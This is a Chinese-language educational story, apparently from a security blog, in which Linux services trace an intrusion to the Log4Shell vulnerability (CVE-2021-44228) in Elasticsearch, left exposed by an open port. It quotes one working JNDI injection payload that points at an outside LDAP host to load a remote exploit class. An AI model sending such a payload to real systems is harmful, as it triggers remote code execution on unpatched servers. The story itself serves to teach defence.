神秘的入侵 却说这一日,天刚蒙蒙亮,整个Linux帝国尚在沉睡之中,忽然,一声尖锐的警报打破宁静!
“报告部长!”安全检测中心传来急报,“我们发现了一条异常的外连请求,目标IP疑似恶意C2服务器,请立即处理!”
安全部长猛地睁眼,披上外套,召集众程序紧急开会。
会议室里一片寂静,top和ps看了一下,像上次一样,依然没有找到可疑的进程。
unhide站了出来:“我来试试”
不多时,unhide果然抓出了一个鬼鬼祟祟的进程,kill老哥,手起刀落,干脆利落地将其终结,随后删除了相关的可疑文件。
“这回干净了。”kill拍拍手。
可部长眉头紧锁:“没那么简单,这恶意程序是怎么进来的?”
众程序面面相觑,竟不约而同的把目光投向了一旁的Redis。
Redis吓得一个哆嗦:“不会又怀疑是我吧?上次的事我还心有余悸呢!我已经改了密码、关闭了远程访问,还天天盯着 ~/.ssh/authorized_keys
看,真不是我!”
详情回顾:CPU深夜狂飙,Redis竟是内鬼!
部长看了他一眼,没有说话,转身吩咐:“所有程序,从现在起,排查各自日志,查清入侵路径!”
众程序如临大敌,纷纷动手翻阅各自的日志文件。
不一会儿,Nginx面露难色的说到:“不好了!我昨晚的日志,都被人给删除了!”
“我的也是”,tomcat也说到。
“还有我的也被删了”,MySQL也说到:“昨晚执行的查询记录全都不见了”。
会议室里的气氛跌到了冰点,看来这次遇到了硬茬了。
秘密武器 就在大家一筹莫展之际,防火墙凑到安全部长身边说到:“部长,咱还有秘密武器,要不让它试试?”
随后部长和防火墙起身离开,来到了安全检测中心,一个神秘的身影走了过来,定睛一看,头上写着: 全流量安全分析系统NTSA
。
“部长,有什么可以为您效劳的”
“我要你查过去24小时内,所有的网络通信连接。”,部长说到。
“这可有点多,您稍等一下”,NTSA打开了庞大的流量日志界面。顿时,一屏幕的数据如潮水般涌出。
防火墙问到:“怎么这么多数据?”
“我名叫全流量安全分析系统,记录了系统过去一段时间内发生的所有网络通信连接,连原始数据包都一个不落的记录在案,所以数据自然是多了一点”,NTSA说到。
“你最大能记录多久的数据?”安全部长问到。
“这个不一定,取决于流量大小和存储空间,像咱们这里的情况,我存个1个月的数据应该问题不大”
部长没有说话,眼睛盯着屏幕上闪过的每一条数据,生怕漏掉了什么。
“这些都是HTTPS流量,加了密的,看不见内容,可惜了”,防火墙叹了口气。
“那也得看,必须把它揪出来”,部长咬牙说道。
大家盯着滚动的数据,一个个眼睛都看花了。
竟然是它 话分两头,会议室这边,众程序还在忙碌着。
“刚刚安全部长在,我不好问……你们的日志是真被删了,还是你们自己删的?”,Redis悄悄问到。
Nginx一听急了,“你这家伙不要乱扣帽子,上次你栽了跟头,这次想拉我们也下水吗?”
tomcat给了Redis一拳,恶狠狠的瞪了一眼,Redis连忙说到:“开个玩笑,别当真,嘿嘿”
突然,门“哐当”一声打开,安全部长带着防火墙回来了,脸色铁青。
“昨天晚上,谁使用过36560号端口与外面通信?”安全部长厉声问道。
众程序一听开始议论纷纷。
这时,防火墙补充:“昨天凌晨两点四十一分,本机的36560端口发起了一条外连,目标IP就是刚刚恶意程序连接的那个C2地址!”
众程序听后连连摇头,纷纷表示不是自己。最后,只见角落里一个身影慢慢举起了手,是ElasticSearch。
“不会吧,是你?”Nginx下意识地退了半步。
ElasticSearch面色苍白:“我想起来了,我昨晚收到一个查询请求,然后打了个日志 logger.info("···{}", var)
,这个var的内容是 ${jndi:ldap://145.67.89.123:13389/Exploit}
,我连接这个地址的时候,用了一下36560号端口……”
“我昨晚可没给你发请求啊”,Tomcat赶紧撇清关系。
“你打印日志,为什么要发起网络连接?还有,这个JNDI是个什么东西?”,部长有些生气地问道。
Tomcat起身说道:“这个我知道!这是Log4j的一个特性,我们Java家族的都知道,它可以在日志中解析JNDI表达式,并自动尝试加载远程对象……哎,你该不会中了Log4j的RCE漏洞了吧!”
“等等,听得有点糊涂,这是个什么漏洞?”,Nginx问到。
Tomcat解释道:“这个漏洞叫 Log4Shell,CVE 编号是 CVE-2021-44228。攻击者只要让一段特殊的字符串进入打印日志的地方,就能远程触发 Log4j 加载并执行恶意代码。”
见众程序还是一头雾水,Tomcat继续补充:“我们Java中的对象不仅可以存在于内存中,还可以被序列化成字节流,也能通过 class 文件反序列化还原成对象。当你加载一个远程类时,就会去那个地址拉下一个 .class 文件,然后执行里面的构造方法。所以只要攻击者构造一个带恶意代码的类,放在他控制的服务器上,Log4j一连接上去就会自动下载这个类,并在你机器上执行恶意代码了,这下明白了吧”
众程序总算听明白了,部长怒视着ElasticSearch:“你为什么会对外提供访问?防火墙没有禁掉9200端口吗?”
防火墙一听赶紧查询了一下历史记录:“报告部长,前几天,有个刚入职两周半的实习生,为了方便测试接口,就直接在我这加了条放行规则,把9200端口开放出去了……后面就忘记给关上。”
一听这话,全场哗然!
部长沉默片刻,缓缓开口:“马上封锁9200端口,ElasticSearch,你赶紧把Log4j版本升级一下。同时,把这次事件写成安全通报,在Linux帝国全网通报!”
工作部署完毕,众程序散去,这场危机总算解除了。
安全部长抬头望去,清晨的第一缕阳光刚刚照进了机房,新的一天开始了。
彩蛋 “部长!不好了!”
“又怎么了?”
“MySQL 的数据……全被加密了!”
“什么?!”
(未完待续)
往期推荐